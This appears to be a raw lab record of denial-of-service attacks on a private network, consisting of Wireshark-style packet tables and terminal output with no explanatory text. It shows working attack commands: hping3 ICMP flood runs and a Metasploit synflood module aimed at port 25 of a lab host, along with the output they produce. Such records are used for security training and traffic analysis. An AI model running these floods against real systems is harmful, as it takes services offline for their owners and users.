



No.	Time	Source	Destination	Protocol	Length	Info
4137	22.744012769	192.168.10.108	192.168.10.107	ICMP	42	Echo
4138	22.744060939	192.168.10.107	192.168.10.108	ICMP	60	Echo
4139	22.744070171	192.168.10.108	192.168.10.107	ICMP	42	Echo
4140	22.744123881	192.168.10.107	192.168.10.108	ICMP	60	Echo
4141	22.744128087	192.168.10.108	192.168.10.107	ICMP	42	Echo
4142	22.744182498	192.168.10.107	192.168.10.108	ICMP	60	Echo
4143	22.744186719	192.168.10.108	192.168.10.107	ICMP	42	Echo
4144	22.744241655	192.168.10.107	192.168.10.108	ICMP	60	Echo
4145	22.744245926	192.168.10.108	192.168.10.107	ICMP	42	Echo
4146	22.744300293	192.168.10.107	192.168.10.108	ICMP	60	Echo
4147	22.744303732	192.168.10.108	192.168.10.107	ICMP	42	Echo
4148	22.744563927	192.168.10.107	192.168.10.108	ICMP	60	Echo
4149	22.744574950	192.168.10.108	192.168.10.107	ICMP	42	Echo
4150	22.744636618	192.168.10.107	192.168.10.108	ICMP	60	Echo
4151	22.744640718	192.168.10.108	192.168.10.107	ICMP	42	Echo
4152	22.744695184	192.168.10.107	192.168.10.108	ICMP	60	Echo
4153	22.744698423	192.168.10.108	192.168.10.107	ICMP	42	Echo
4154	22.744753843	192.168.10.107	192.168.10.108	ICMP	60	Echo

Frame 1: 60 bytes on wire (480 bits), 60 bytes captured (480 bits) on interface 0  
 Ethernet II, Src: HonHaiPr\_28:f8:cb (90:cd:b6:28:f8:cb), Dst: DigiComF\_02:45:08 (a8:11:11:02:45:08)  
 Internet Protocol Version 4, Src: 192.168.10.107, Dst: 23.76.66.244

```

root@kali: ~
8.10.108
using eth0, addr: 10.0.2.15, MTU: 1500
HPING 192.168.10.108 (eth0 192.168.10.108): 5 set, 40 headers + 100 data bytes
... 192.168.10.108 hping statistic ...
31 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
root@kali:~# hping3 -1 --flood 192.168.10.108
HPING 192.168.10.108 (eth0 192.168.10.108): icmp mode set, 28 headers + 0 data bytes
hping in flood mode, no replies will be shown
^C
... 192.168.10.108 hping statistic ...
9304205 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
root@kali:~# hping3 -1 --flood 192.168.10.108
HPING 192.168.10.108 (eth0 192.168.10.108): icmp mode set, 28 headers + 0 data bytes
hping in flood mode, no replies will be shown
^C
... 192.168.10.108 hping statistic ...
2180493 packets transmitted, 0 packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms
root@kali:~#

```

No.	Time	Source	Destination	Protocol	Length	Info
4030	26.098489573	192.168.10.108	192.168.10.107	TCP	54	25
4031	26.107847938	192.168.10.107	192.168.10.108	TCP	66	[TCP]
4032	26.107871815	192.168.10.108	192.168.10.107	TCP	54	25
4033	26.173252346	192.168.10.107	192.168.10.108	TCP	66	[TCP]
4034	26.173272858	192.168.10.108	192.168.10.107	TCP	54	25
4035	26.178622537	192.168.10.107	192.168.10.108	TCP	66	[TCP]
4036	26.178641497	192.168.10.108	192.168.10.107	TCP	54	25
4037	26.179328359	192.168.10.107	192.168.10.108	TCP	66	[TCP]
4038	26.179340238	192.168.10.108	192.168.10.107	TCP	54	25
4039	26.217261316	192.168.10.107	192.168.10.108	TCP	66	[TCP]
4040	26.217285593	192.168.10.108	192.168.10.107	TCP	54	25
4041	26.218689551	192.168.10.107	192.168.10.108	TCP	66	[TCP]
4042	26.218707895	192.168.10.108	192.168.10.107	TCP	54	25
4043	26.221372175	192.168.10.107	192.168.10.108	TCP	66	[TCP]
4044	26.221395428	192.168.10.108	192.168.10.107	TCP	54	25
4045	26.221608242	192.168.10.107	192.168.10.108	TCP	66	[TCP]
4046	26.221619588	192.168.10.108	192.168.10.107	TCP	54	25
4047	26.265149326	192.168.10.107	192.168.10.108	TCP	66	[TCP]

Frame 1: 60 bytes on wire (480 bits), 60 bytes captured (480 bits) on interface 0  
 Ethernet II, Src: HonHaiPr\_28:f8:cb (90:cd:b6:28:f8:cb), Dst: PcsCompu\_06:11:7b (08:00:27:06:11:7b)  
 Address Resolution Protocol (request)

```

Terminal
File Edit View Search Terminal Help
+ ... --[ ** This is Metasploit 5 development branch ** ]
msf5 > use auxiliary/dos/tcp
msf5 > use auxiliary/dos/tcp/synflood
msf5 > use auxiliary/dos/tcp/synflood
msf5 > set RHOST 192.168.10.108
RHOST => 192.168.10.108
msf5 auxiliary(dos/tcp/synflood) > set RPORT 25
RPORT => 25
msf5 auxiliary(dos/tcp/synflood) > exploit
[*] SYN flooding 192.168.10.108:25...
^C[-] Auxiliary interrupted by the console user
[*] Auxiliary module execution completed
msf5 auxiliary(dos/tcp/synflood) > exploit
[*] SYN flooding 192.168.10.108:25...
^C[-] Auxiliary interrupted by the console user
[*] Auxiliary module execution completed
msf5 auxiliary(dos/tcp/synflood) >

```

